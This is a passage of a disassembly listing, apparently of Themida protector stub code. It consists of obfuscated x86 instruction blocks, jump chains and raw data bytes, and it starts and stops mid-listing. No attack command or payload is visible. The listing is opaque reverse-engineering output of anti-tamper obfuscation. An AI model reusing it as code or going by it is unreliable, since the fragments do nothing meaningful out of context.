		dd 2C8D6BEBh, 7B34C381h, 0DD29A10Ch, 81241C8Bh,	4C4h, 0C5814500h
		dd 3EA74B7Dh, 0DAE9EDD1h
		db 3Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5459FB:				; CODE XREF: Themida_:0054D40Dj
		mov	edi, esp
		push	esi
		mov	esi, 4FD508CDh
		sub	esi, 3A7B322Bh
		or	esi, 34035133h
		neg	esi
		sub	esi, 0CAA42849h
		add	edi, esi
		jmp	loc_54867E
; ---------------------------------------------------------------------------
		dw 0E958h
		dd 7FA5h
; ---------------------------------------------------------------------------


loc_545A24:				; CODE XREF: Themida_:00544F8Bj
		mov	[esp], ebp
		push	3FEh
		mov	[esp], esp
		push	ecx
		mov	ecx, 4
		add	[esp+4], ecx
		mov	ecx, [esp]
		add	esp, 4
		mov	ebp, [esp]
		jmp	loc_547689
; ---------------------------------------------------------------------------
		db 57h
		dd 2BFh, 60BD5500h, 0E93AAD50h,	0FFFFC6D7h, 66D830ACh
		dd 0D9B75352h, 4C82E9h,	58C70100h, 4EF81h, 0FF570000h
		dd 5F042474h, 5C24048Fh, 0EE3E9h, 4B900h, 0AAE90000h
		db 46h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_545A87:				; CODE XREF: Themida_:0054A72Dj
		sub	ecx, ebp
		jmp	loc_549983
; ---------------------------------------------------------------------------
		dw 77FFh
a8sJ		db '8éÌJ',0
		align 2
aAqnpq9ssiz	db '·Í€ïNPQ±9Sé›Z',0
		db 0
; ---------------------------------------------------------------------------


loc_545AA5:				; CODE XREF: Themida_:005479EEj
		sub	dword ptr [esp], 4B4B1C95h
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, 4B4B1C95h
		pop	edx
		mov	ebp, ecx
		pop	ecx
		xor	ebp, 2C750559h
		sub	eax, 7C9C0A3Ah
		add	eax, ebp
		add	eax, 7C9C0A3Ah
		mov	ebp, [esp]
		add	esp, 4
		push	ebp
		push	22DDh
		mov	[esp], edx
		mov	edx, 225694Fh
		sub	edx, 225614Fh
		push	ecx
		mov	ecx, edx
		push	eax
		mov	eax, ecx
		jmp	loc_54AB85
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 4EC81h, 0DDE90000h, 0F7000053h, 17C281D2h, 3109D8DEh
		dd 0F0315AD6h, 8324348Bh, 59E904C4h, 8BFFFFB8h,	0C4832404h
		dd 240C8704h, 243C895Ch, 0FFDE13E9h, 242C8BFFh,	8104C483h
		dd 181CD4C7h, 8BFE017Dh, 0C481243Ch, 4,	0BF57C601h, 6E004FABh
		dd 0E95FFE29h, 4EADh, 7FAF0559h, 0C601C84Bh, 2C68158h
		dd 87000000h, 248B2434h, 48B6624h, 59545124h, 4C181h, 0E9830000h
		dd 240C8704h, 2414895Ch, 0C281E289h, 4,	2F4C68h, 243C8900h
		dd 1726BBFh, 0F7814747h, 2FA63AEDh, 5EEAF781h, 0BA5201D2h
		dd 3EF73704h, 74E9DAF7h, 89000025h, 74FF2404h, 48B0424h
		dd 2A47E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_545BC2:				; CODE XREF: Themida_:00542BC1j
		push	eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		jmp	loc_542503
; ---------------------------------------------------------------------------
		db 89h
		dd 0C2892414h, 0FF5AD389h, 0B9E92434h, 0B400003Ch, 58E5003Eh
		dd 4B7CE9h, 0B8685500h,	5D416545h, 0C104E5C1h, 22E903E5h
		dd 0BBFFFFD3h, 441F57AEh, 59CFE950h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_545C06:				; CODE XREF: Themida_:00549717j
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		push	edx
		mov	edx, 64060865h
		mov	ebp, 0E9E0242h
		add	ebp, edx
		jmp	loc_54BF5E
; ---------------------------------------------------------------------------


loc_545C22:				; CODE XREF: Themida_:0054AB53j
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_54B152
; ---------------------------------------------------------------------------
		dd 4C481h, 0EC810000h, 4, 0E9240489h, 20DEh, 931D2B9h
		dd 0EEE9811Ah, 8115F22Eh, 807F76E9h, 8BCF2958h,	0A3E9240Ch
		dd 81000035h, 0B06F4EF2h, 94E2814Bh, 0E95D5430h, 0FFFFDA00h
		dd 3FF8E956h, 41680000h, 8900005Ch, 4812424h, 424h, 0E138E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_545C8A:				; CODE XREF: Themida_:0054CBC0j
		pop	ecx
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		pop	eax
		push	edx
		jmp	loc_54A3FF
; ---------------------------------------------------------------------------
		dd 2102472Dh, 1E6C2D7Ah, 0C601F935h, 8BF10158h,	0C4832434h
		dd 0B879E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_545CB2:				; CODE XREF: Themida_:00547698j
		add	ebp, 40E20310h
		add	ebp, esi
		sub	ebp, 40E20310h
		sub	ebp, 6EEC4582h
		jmp	loc_54421C
; ---------------------------------------------------------------------------


loc_545CCB:				; CODE XREF: Themida_:0054A507j
		pop	esp
		jmp	loc_5496F0
; ---------------------------------------------------------------------------


loc_545CD1:				; CODE XREF: Themida_:0054CB9Fj
		mov	esi, esp
		add	esi, 4
		jmp	loc_5438F6
; ---------------------------------------------------------------------------
		dw 23B1h
		dd 0E91DC180h, 23CEh, 240C8B66h, 0E9E68956h, 6943h, 10F1F281h
		dd 0AEE95688h, 1000033h, 2BC681DEh, 8173BE33h, 52D66EEh
		dd 1B8EE907h, 0C7810000h, 4, 25ED6855h,	4890000h, 75C06824h
		dd 3C890000h, 1585BF24h, 0B6E93F35h
		db 0Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_545D33:				; CODE XREF: Themida_:0054D233j
		add	esp, 4
		jmp	loc_54520D
; ---------------------------------------------------------------------------


loc_545D3E:				; CODE XREF: Themida_:0054239Ej
		mov	ch, 6Ah
		sub	dl, ch
		pop	ecx
		add	bl, dl
		jmp	loc_54B38B
; ---------------------------------------------------------------------------


loc_545D4A:				; CODE XREF: Themida_:00541E85j
		add	ebx, 4
		jmp	loc_542E4C
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 382B68h, 242C8900h, 468h, 242C8B00h,	4C481h,	0EE010000h
		dd 56242C8Bh, 52E9E689h, 2900003Dh, 0AD005D0h, 55A3B70h
		dd 359F40C3h, 0E9E68956h, 7757h
; ---------------------------------------------------------------------------


loc_545D90:				; CODE XREF: Themida_:00546375j
		add	ecx, 4
		push	ecx
		jmp	loc_54B6C0
; ---------------------------------------------------------------------------


loc_545D99:				; CODE XREF: Themida_:0054871Fj
		push	ebp
		push	ebx
		jmp	loc_541D5E
; ---------------------------------------------------------------------------
		dd 0FF2434FFh, 1C8B2434h, 9D3E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_545DAE:				; CODE XREF: Themida_:0054D5B3j
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp


loc_545DC4:				; CODE XREF: Themida_:00548CA8j
		push	ebx
		jmp	loc_54D045
; ---------------------------------------------------------------------------
		dw 0ED81h
		dd 0B36D1820h, 0E4E9E801h, 29FFFFEDh, 0EB815DEBh, 45D63D8Bh
		dd 5350FB01h, 17584C68h, 0D3F75B08h, 2F4AE9h, 5AD72800h
		dd 5208EFC0h, 0D59E9h, 68E68900h, 2BC9h, 0BB241C89h, 4
		dd 0FFE3C9E9h, 6CC681FFh, 13A8FEDh, 0C1815EF2h,	66B3368Bh
		dd 0E981D101h, 66B3368Bh, 8324148Bh, 0C8704C4h,	24248B24h
		dd 0FFD405E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_545E39:				; CODE XREF: Themida_:0054A46Cj
		sub	eax, ebp
		pop	ebp
		shl	eax, 8
		add	eax, 677673A0h
		mov	[edi+20h], eax
		pop	eax
		shl	dword ptr [edi+20h], 4
		jmp	loc_54AE30
; ---------------------------------------------------------------------------
		db 0F7h, 0DFh, 81h
		dd 0D878D2CFh, 0E94E907h, 42350000h, 121377Bh, 0E6E958C5h
		dd 50FFFFBFh, 0FFF04AE9h, 241487FFh, 773FE9h
		db 0
; ---------------------------------------------------------------------------


loc_545E79:				; CODE XREF: Themida_:00542259j
		pop	ebx
		push	eax
		mov	eax, edx
		mov	edi, eax
		mov	eax, [esp]
		add	esp, 4
		pop	edx
		and	eax, edi
		push	dword ptr [esp]
		pop	edi
		push	ebx
		jmp	loc_54C2CD
; ---------------------------------------------------------------------------
		dw 0D001h
		dd 8124148Bh, 4C4h, 4EC8300h, 0FF240489h, 8B042474h, 0C4812404h
		dd 4, 8B24048Fh, 50E92424h, 68FFFFC8h, 11B5h, 0BF243C89h
		dd 544379CDh, 0FFDD82E9h, 49EC68FFh, 3C890000h,	47AAE924h
		dd 0CF310000h, 0F5E78159h, 4758A419h, 7BF5E781h, 0EF811DDEh
		dd 0F981E946h, 0B2E9F901h, 5DFFFFC7h, 0FFE9A3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_545EFD:				; CODE XREF: Themida_:00547AB8j
		mov	eax, 3576117Fh
		jmp	loc_54B7F8
; ---------------------------------------------------------------------------


loc_545F07:				; CODE XREF: Themida_:005413C5j
		push	dword ptr [esp]
		pop	ebx
		push	edx
		mov	edx, esp
		jmp	loc_542BCE
; ---------------------------------------------------------------------------
		db 0BEh
		dd 71DA9FE1h, 1E9F301h,	8900004Eh, 80BD55E6h, 815EC968h
		dd 9A483EE5h, 526F6848h, 34890000h, 0DF93E924h,	4B9FFFFh
		dd 1000000h, 348759CEh,	0C2815C24h, 4, 0C8CBE951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_545F52:				; CODE XREF: Themida_:0054A296j
		not	bl
		jmp	loc_5451E4
; ---------------------------------------------------------------------------
		db 52h,	0E9h, 1Ch
		dd 8100007Ah, 4C5h, 2C58100h, 0E9000000h, 0FFFFF0F6h, 667DC581h
		dd 0EE293BA9h, 2434875Dh, 6624248Bh, 0E9240489h, 0FFFFB52Eh
; ---------------------------------------------------------------------------


loc_545F88:				; CODE XREF: Themida_:00542EDDj
		xchg	edi, [esp]
		mov	eax, [esp]
		add	esp, 4
		push	ebp
		push	edx
		mov	edx, 1
		mov	ebp, edx
		jmp	loc_54A31A
; ---------------------------------------------------------------------------
		db 31h
		dd 14332414h, 5223E924h, 0C1830000h, 240C8704h,	0E924248Bh
		dd 64F8h
; ---------------------------------------------------------------------------


loc_545FB8:				; CODE XREF: Themida_:0054D054j
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_548EFA
; ---------------------------------------------------------------------------
		dw 0E389h
		dd 4C381h, 0EB810000h, 4, 5C241C87h, 0FFF169E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_545FDD:				; CODE XREF: Themida_:00548550j
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_541702
; ---------------------------------------------------------------------------
		db 66h
		dd 0E924048Bh, 0FFFFE1AFh, 4C48358h, 0FFC52EE9h, 0F7D687FFh
		dd 31D631D2h, 1955E9F2h, 0C7810000h, 37343461h,	0E957505Eh
		dd 0FFFFC2D6h, 0A8368h,	243C8900h, 23E16855h, 0F1E96FBBh
		db 0C1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54602B:				; CODE XREF: Themida_:0054AE03j
		shr	ebp, 2
		inc	ebp
		shl	ebp, 5
		xchg	edx, ebp
		not	edx
		xchg	edx, ebp
		inc	ebp
		jmp	loc_5417F6
; ---------------------------------------------------------------------------
		dw 8ABFh
		dd 81257757h, 5302B4C7h, 5FFE3140h, 5502E6C1h, 0CF66E952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_546056:				; CODE XREF: Themida_:00546842j
		mov	ebx, 3CB0128h
		and	ebx, 0DFA113Fh
		jmp	loc_54A367
; ---------------------------------------------------------------------------


loc_546066:				; CODE XREF: Themida_:00544A0Cj
		pop	esp
		jmp	loc_54B3BD
; ---------------------------------------------------------------------------
		dd 8124048Bh, 4C4h, 8BE83000h, 0C483240Ch, 66EB8004h, 42B86866h
		dd 240C8966h, 6574E9h, 4BA00h, 0D6010000h, 0E924148Bh
		dd 0C14h, 8105EBC1h, 0A54B7CEBh, 0FFC38190h, 52FFFFFFh
		dd 464CC0BAh, 8EAC176h,	0C7F2814Ah, 814D6F52h, 0D0629EE2h
		dd 6B72E96Bh, 0E95C0000h, 562Ch
; ---------------------------------------------------------------------------


loc_5460CC:				; CODE XREF: Themida_:00548570j
		pop	edi
		push	ebx
		push	ecx
		mov	ecx, 3F067835h
		jmp	loc_544BF8
; ---------------------------------------------------------------------------
		db 66h,	81h, 0E9h
		dd 665B1B45h, 6601C183h, 0A115C181h, 4787E9h, 2BF00h, 0CDE90000h
		dd 8FFFFD8h, 0D9F658C1h, 0E903E1C0h, 5D53h, 3C8BF801h
		dd 2CE95624h, 89000041h, 4C681E6h, 81000000h, 4C6h, 24348700h
		dd 52E5815Ch, 0F74DA342h, 3BF581DDh, 813B3613h,	0E978AFC5h
		dd 5DE801D1h, 4AA5BE56h, 683381h, 29000000h, 348B2434h
		dd 4C48124h, 68000000h,	4282h, 0B9240C89h, 27806002h, 650AC681h
		dd 0CE2941D7h, 1983E9h
		db 0
; ---------------------------------------------------------------------------


loc_546169:				; CODE XREF: Themida_:00543DFCj
		add	edi, 7F8F5CCFh
		shl	edi, 4
		jmp	loc_54945D
; ---------------------------------------------------------------------------
a24sSg		db '½24™$éƒ/',0
		dd 2CE95F00h
		db 0D4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_546187:				; CODE XREF: Themida_:0054BA5Dj
		push	esi
		mov	esi, 48FE2861h
		sub	esi, 48FE285Dh
		add	ebp, esi
		pop	esi
		jmp	loc_544679
; ---------------------------------------------------------------------------


loc_54619B:				; CODE XREF: Themida_:005437C1j
		xor	[esp], ebp
		jmp	loc_54480F
; ---------------------------------------------------------------------------
		db 81h
		dd 4C2h, 4EA8100h, 87000000h, 895C2414h, 0A2BA2414h, 4213E02Ah
		dd 2C76E9h
		db 0
; ---------------------------------------------------------------------------


loc_5461C1:				; CODE XREF: Themida_:005486C4j
		mov	esi, 4
		add	eax, esi
		mov	esi, [esp]
		jmp	loc_54D123
; ---------------------------------------------------------------------------
		dd 0DEBC381h, 0D2E95C70h
		db 0CCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5461DB:				; CODE XREF: Themida_:00547A3Aj
		mov	[esp], ecx
		mov	ch, 3Ch
		jmp	loc_546718
; ---------------------------------------------------------------------------
		db 68h,	0E2h, 62h
		dd 34890000h, 2474FF24h, 8FE95E04h, 100005Ah, 0C631E9D6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5461FE:				; CODE XREF: Themida_:00541E7Aj
		sub	ecx, eax
		jmp	loc_54BB86
; ---------------------------------------------------------------------------


loc_546205:				; CODE XREF: Themida_:0054A261j
		xor	ebx, 73588069h
		sub	esi, ebx
		pop	ebx
		jmp	loc_546704
; ---------------------------------------------------------------------------
		db 5Ah
		dd 8107E6C1h, 0FE2F3BC6h, 60BB53E8h, 4B6CC76Dh,	8104EBC1h
		dd 0C361D8CBh, 0E9DBF76Dh, 613h, 18EFF581h, 0C581517Ah
		dd 0E5C8C564h, 5C33E9h,	8CBB5300h, 14F7F01h, 0E9515BDEh
		dd 800h, 4EC81h, 1C890000h, 1CBB24h, 0EB810000h, 1E45712Eh
		dd 477EE9h, 5DE88900h, 738ABF57h, 0F80942CDh, 1A54E95Fh
		dd 0D9300000h, 241C8B66h, 2C481h, 0F1800000h, 3E3FE9C7h
		dd 0ED830000h, 242C8704h, 4407E9h, 4EC8300h, 81242489h
		dd 42404h, 348B0000h, 4C48124h,	68000000h, 45BBh, 52242C89h
		dd 0E6061CBAh, 5AD58904h, 8BE9EDD1h, 81000061h,	4C4h, 7CED8100h
		dd 57737038h, 32C5BD55h, 60E96672h, 81FFFFE1h, 4C4h, 72496800h
		dd 4890000h, 3D88B824h,	8C353EB5h, 13EB53Dh, 8DE958C7h
		dd 5D000016h, 74A0F381h, 0EE95FEBh, 0C100001Eh,	0B2E907EBh
		dd 5B000021h, 48BC189h,	0C17DE924h, 0EC83FFFFh,	240C8904h
		dd 721DB850h, 0E7B9321Bh, 1CDE48Dh, 0CE0158C1h,	51240C8Bh
		dd 0C181E189h, 4, 8704C183h, 815C240Ch,	4C6h, 4EC8100h
		dd 89000000h, 74FF2434h, 8F5E0424h, 0E95C2404h,	0FFFFB010h
; ---------------------------------------------------------------------------


loc_546368:				; CODE XREF: Themida_:005428D4j
		push	dword ptr [esp]
		pop	eax
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_545D90
; ---------------------------------------------------------------------------


loc_54637A:				; CODE XREF: Themida_:005494F5j
		push	dword ptr [esp]
		jmp	loc_54471A
; ---------------------------------------------------------------------------
		dw 0B850h
		dd 4F7F3943h, 4DE1EF81h, 0C7293FA4h, 4DE1B850h,	0C7013FA4h
		dd 2434FF58h, 4C48358h,	8103E7C1h, 0CF681AEFh, 5FFB89C6h
		dd 0E95AD331h, 0FFFFAFC4h
; ---------------------------------------------------------------------------


loc_5463B4:				; CODE XREF: Themida_:00543AADj
		add	edx, 4
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_54D485
; ---------------------------------------------------------------------------
		db 0B8h
		dd 17E33114h, 5BBCEA81h, 0C201429Ah, 5BBCC281h,	158429Ah
		dd 0B4E955FAh, 0FF00002Bh, 669D1C77h, 241CD259h, 6A33E99Ch
		dd 0EE010000h, 2434875Dh, 0E924248Bh, 0FFFFE85Bh, 0E924248Bh
		dd 0FFFFEB38h, 0D5ED815Eh, 0E9396846h, 0FFFFFFDEh, 4C581h
		dd 68520000h, 4C5Eh, 0BE243489h, 3F0D0270h, 8C7F681h, 0E6C17ADDh
		dd 0D4EE8103h, 8161AB7Bh, 0B39D5BF6h, 152E9FFh,	0F2890000h
		dd 0FFB07DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54644D:				; CODE XREF: Themida_:00548352j
		mov	[esp], eax
		mov	eax, 4
		jmp	loc_54A7F1
; ---------------------------------------------------------------------------
		dw 8952h
		dd 4C281E2h, 83000000h,	148704C2h, 0B9515C24h, 49512E51h
		dd 2E55F181h, 36E94951h, 900000Eh, 0E9591C4Fh, 0FFFFED2Ah
; ---------------------------------------------------------------------------


loc_546484:				; CODE XREF: Themida_:00544EA8j
		shl	dl, 3
		jmp	loc_542395
; ---------------------------------------------------------------------------
		dd 81E78957h, 4C7h, 2C78100h, 87000000h, 248B243Ch, 0E9506624h
		dd 0FFFFE0E2h, 0D324248Bh, 0C5E92424h, 0E9FFFFAEh, 0FFFFAEC0h
; ---------------------------------------------------------------------------


loc_5464B8:				; CODE XREF: Themida_:00544B6Fj
		mov	ecx, 4B1E64AFh
		add	ecx, 16FB6ABEh
		shr	ecx, 8
		dec	ecx
		sub	ecx, 0A5B403E1h
		jmp	loc_54264E
; ---------------------------------------------------------------------------
		dw 0EB01h
dword_5464D4	dd 0FFE6EAE9h, 69A3BFFFh, 52E9143Bh, 68000032h,	40B73430h
		dd 5B2434FFh, 8104C483h, 0B73432F3h, 5BD88940h,	3358C301h
		dd 1C31241Ch, 241C3324h, 0E924248Bh, 40ABh, 2469E952h
		dd 34870000h, 24248B24h, 0FFAE5BE9h, 39E9BEFFh,	0F6813B88h
		dd 3DF90C9Bh, 412EF681h, 0EE8153C1h, 55B07458h,	266FE9h
		dd 240C8900h, 0B10EB450h, 0FFE13078h, 83582434h, 84E904C4h
		dd 1000059h, 4EC81C2h, 89000000h, 6856242Ch, 49311F73h
		dd 0FFF1F5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_546565:				; CODE XREF: Themida_:00549DDCj
		not	ebx
		xor	ebx, 0A0DF0604h
		add	eax, 44891A0Dh
		add	eax, 41533664h
		sub	eax, ebx
		sub	eax, 41533664h
		sub	eax, 44891A0Dh
		pop	ebx
		jmp	loc_546C4A
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd offset dword_457444+272A5h
		dd 0E9E82100h, 0FFFFEE8Ah, 98BB43BAh, 0ACBE56CCh, 0E927C439h
		dd 3C50h, 4EC815Ah, 89000000h, 86B02404h, 0CD04E8D0h, 28E1E9h
		dd 31685C00h, 89000012h, 8957242Ch, 4C781E7h, 81000000h
		dd 4EFh, 243C8700h, 241C895Ch, 468h, 0DD895B00h, 81241C8Bh
		dd 4C4h, 96BE900h, 0C7010000h, 3DCDE9h,	45AEB800h, 0ABE94EE1h
		dd 0BA000041h, 4, 0FFD4CEE9h, 4C481FFh,	68000000h, 3607h
		dd 0E9241489h, 333h, 0E4717468h, 0D9F75921h, 2FCAB850h
		dd 0D0F77F4Ah, 762DD8F7h, 3185FF84h, 0CD8958C1h, 4EC8359h
		dd 0E9240C89h, 34E6h
; ---------------------------------------------------------------------------


loc_546648:				; CODE XREF: Themida_:005427B8j
		mov	edi, 73A0906Bh
		jmp	loc_54769D
; ---------------------------------------------------------------------------
		dw 3C89h
		dd 0E9E78924h, 0FFFFEE1Ch
; ---------------------------------------------------------------------------


loc_54665C:				; CODE XREF: Themida_:00541ED6j
		mov	ebx, esi
		jmp	loc_54563E
; ---------------------------------------------------------------------------
		db 31h
		dd 9CE956DFh, 68FFFFF2h, 1DB0h,	56241489h, 0FFC424E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_546679:				; CODE XREF: Themida_:0054867Fj
		push	edx
		mov	edx, 4
		add	edi, edx
		mov	edx, [esp]
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		push	edi
		mov	edi, 15A731B1h
		or	edi, 3AC967EEh
		or	edi, 3FD17A5Ch
		xor	edi, 683D0279h
		shl	edi, 7
		shl	edi, 6
		sub	edi, 4FB0BFFCh
		add	esi, edi
		pop	edi
		xchg	esi, [esp]
		pop	esp
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_54BD97
; ---------------------------------------------------------------------------
		db 5Dh
		dd 31243433h, 34332434h, 0E7E95C24h
		db 0EEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5466DB:				; CODE XREF: Themida_:00548ACBj
		neg	bh
		push	ecx
		mov	cl, 0B9h
		jmp	loc_5414D8
; ---------------------------------------------------------------------------
		db 5Ah,	89h, 0C7h
		dd 8BF92158h, 8953243Ch, 4B951E3h, 81000000h, 0B03897C3h
		dd 0E9CB0140h, 0FFFFDF11h
; ---------------------------------------------------------------------------


loc_546704:				; CODE XREF: Themida_:0054620Ej
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_542EBB
; ---------------------------------------------------------------------------


loc_546718:				; CODE XREF: Themida_:005461E0j
		push	bx
		mov	bh, 74h
		xor	ch, bh
		jmp	loc_548AC6
; ---------------------------------------------------------------------------
		db 21h
		dd 24048BC6h, 4C481h, 0D6F70000h, 9EEE8146h, 0E944B9A6h
		dd 14CEh, 240C8966h, 0FFAC33E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_546745:				; CODE XREF: Themida_:00544770j
		sub	ebp, 2DBF5D5Fh
		pop	edx
		and	eax, ebp
		jmp	loc_54BCAF
; ---------------------------------------------------------------------------


loc_546753:				; CODE XREF: Themida_:00543B43j
		shr	esi, 2
		dec	esi
		add	esi, 0FE13BB58h
		add	ebx, esi
		pop	esi
		push	edi
		mov	edi, 5A534FBAh
		xor	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		add	ebx, 0FFFFFFFFh
		jmp	loc_549923
; ---------------------------------------------------------------------------
		db 1, 0E9h, 5Dh
		dd 0FFDF35E9h, 4C481FFh, 53000000h, 0C381E389h,	4, 4C381h
		dd 1C870000h, 54565C24h, 6C0E9h
		db 0
; ---------------------------------------------------------------------------


loc_5467A1:				; CODE XREF: Themida_:005469C1j
		pop	edx
		push	edi
		mov	edi, 5D050328h
		inc	edi
		xor	edi, 307A7DF5h
		shr	edi, 2
		jmp	loc_54C496
; ---------------------------------------------------------------------------
		db 89h
		dd 0E950240Ch, 29BCh, 31242C33h, 32E9242Ch, 4FFFFD8h, 28412C1Ch
		dd 2C4104D8h, 62E9531Ch, 8F00003Ch, 248B2404h, 0BB0F6624h
		dd 0E99C2404h, 0FFFFAB8Ch, 9FE98058h, 28F1C180h, 0D80059CBh
		dd 4C43E9h, 66556800h, 0B6E90000h, 81000012h, 0EDE7DCC7h
		dd 5B6AE9BFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_546812:				; CODE XREF: Themida_:005487D8j
		add	esp, 4
		xchg	ebp, [esp]
		pop	esp
		add	bl, 40h
		sub	bl, 73h
		add	bl, al
		add	bl, 73h
		push	5DDCh
		mov	[esp], ecx
		mov	cl, 40h
		sub	bl, cl
		pop	ecx
		add	bl, 2Eh
		movzx	eax, al
		mov	dx, [esp]
		push	esi
		mov	esi, esp
		push	ebx
		jmp	loc_546056
; ---------------------------------------------------------------------------
		db 81h
		dd 1814B0EBh, 5BD82966h, 32E9F029h, 54FFFFC2h, 8324048Fh
		dd 148904ECh, 55E28924h, 4F72E9h, 0AB0AE900h, 8B66FFFFh
		dd 0EC812404h, 4, 81243489h, 4ECh, 48F5400h, 64E95024h
		dd 0BD000048h, 4, 51A4E9h, 5BDF8900h, 1167E9h
		db 0
; ---------------------------------------------------------------------------


loc_54689D:				; CODE XREF: Themida_:0054B817j
		xor	eax, esi
		mov	esi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		push	ebp
		mov	ebp, 4
		sub	edx, 1FA16FC5h
		add	edx, ebp
		add	edx, 1FA16FC5h
		jmp	loc_548D78
; ---------------------------------------------------------------------------


loc_5468C4:				; CODE XREF: Themida_:0054B158j
		push	ecx
		pushf
		jmp	loc_545308
; ---------------------------------------------------------------------------
		dd offset aMmmmmmmmmmmmmm+10Ch
		align 10h
		dd 0BD242C89h, 7D0B271Fh, 0D4BD5550h, 0B8110A11h, 69726BDFh
		dd 485DE829h, 0C104E8C1h, 0E0D107E8h, 6C0D4335h, 1661E999h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5468FA:				; CODE XREF: Themida_:0054251Aj
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 4
		add	edx, ebp
		pop	ebp
		jmp	loc_5413DA
; ---------------------------------------------------------------------------


loc_54691A:				; CODE XREF: Themida_:00543779j
		sub	ebx, 3BF53D4h
		add	ebx, eax
		push	esi
		push	eax
		jmp	loc_5458DE
; ---------------------------------------------------------------------------
		db 66h,	52h, 53h
		dd 0CE885250h, 0FFB93BE9h, 2FEB80FFh, 0D05BD988h, 15E980E9h
		dd 6FB45052h, 0FFEF3DE9h, 88C288FFh, 0CBE95AD3h, 68FFFFF0h
		dd 615048E6h, 0E92434FFh, 0FFFFAA34h, 53241489h, 0FE88BAB7h
		dd 8BF0305Bh, 0C4832414h, 0DBC1E904h, 248BFFFFh, 66C80024h
		dd 53C33059h, 4787E9h, 24248900h, 4240481h, 8F000000h
		dd 4812404h, 424h, 0E95900h
		db 7, 2	dup(0)
; ---------------------------------------------------------------------------


loc_54699F:				; CODE XREF: Themida_:0054B9F8j
		shr	edx, 8
		or	edx, 32306C69h
		push	ecx
		mov	ecx, 36293715h
		inc	ecx
		neg	ecx
		shr	ecx, 8
		shr	ecx, 1
		add	ecx, 72705925h
		xor	edx, ecx
		pop	ecx
		sub	ebx, edx
		jmp	loc_5467A1
; ---------------------------------------------------------------------------
		dw 0C383h
		dd 241C3304h, 0E9241C31h, 5093h
; ---------------------------------------------------------------------------


loc_5469D4:				; CODE XREF: Themida_:005452D9j
		mov	[esp], eax
		push	esi
		jmp	loc_542A08
; ---------------------------------------------------------------------------
aNhi		db '­h‰:',0
		dw 0E900h
		dd 1EEh
; ---------------------------------------------------------------------------


loc_5469E8:				; CODE XREF: Themida_:0054413Ej
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		mov	esi, ebp
		mov	edx, esi
		mov	esi, [esp]
		add	esp, 4
		pop	ebp
		add	edi, edx
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		push	edx
		jmp	loc_541BF2
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
aPs_		db '$PéÄ.',0
		dw 0F700h
		dd 72830DD8h, 68404CF4h, 44EEh,	0BF243C89h, 652E7D9Dh
		dd 0FFE9F4E9h, 3EDC1FFh, 18F8E9h, 0EDC15D00h, 0F2ED8106h
		dd 0E966D323h, 0FFFFEEBEh, 9A1B9h, 6A53E941h, 0C3810000h
		dd 34B3450Bh, 0E20E9h, 81E58900h, 4C5h,	4BB5300h, 0E9000000h
		dd 3BB5h, 40C8EE81h, 44E915B4h,	66FFFFFCh, 51240C8Bh, 0C181E189h
		dd 4, 25685550h, 8B7E6C3Ah, 0C481242Ch,	4, 93C5DDB8h, 8C32D81h
		dd 0E801565Ch, 5C08C305h, 72E95D56h, 0ADFFFFC0h, 6146F505h
		dd 4D052D0Ch, 82D3459h,	291A5A2Bh, 7D5E68D8h, 2C890000h
		dd 2B08BD24h, 0E8011A5Ah, 0BF57535Dh, 6BC31342h, 0F75FFB89h
		dd 4BCB81DBh, 0E914A30Ch, 0FFFFE268h, 6D78E95Fh, 0BE0000h
		dd 572F70EFh, 1D0B69BFh, 90E94F23h, 0FFFFFFBDh,	68582434h
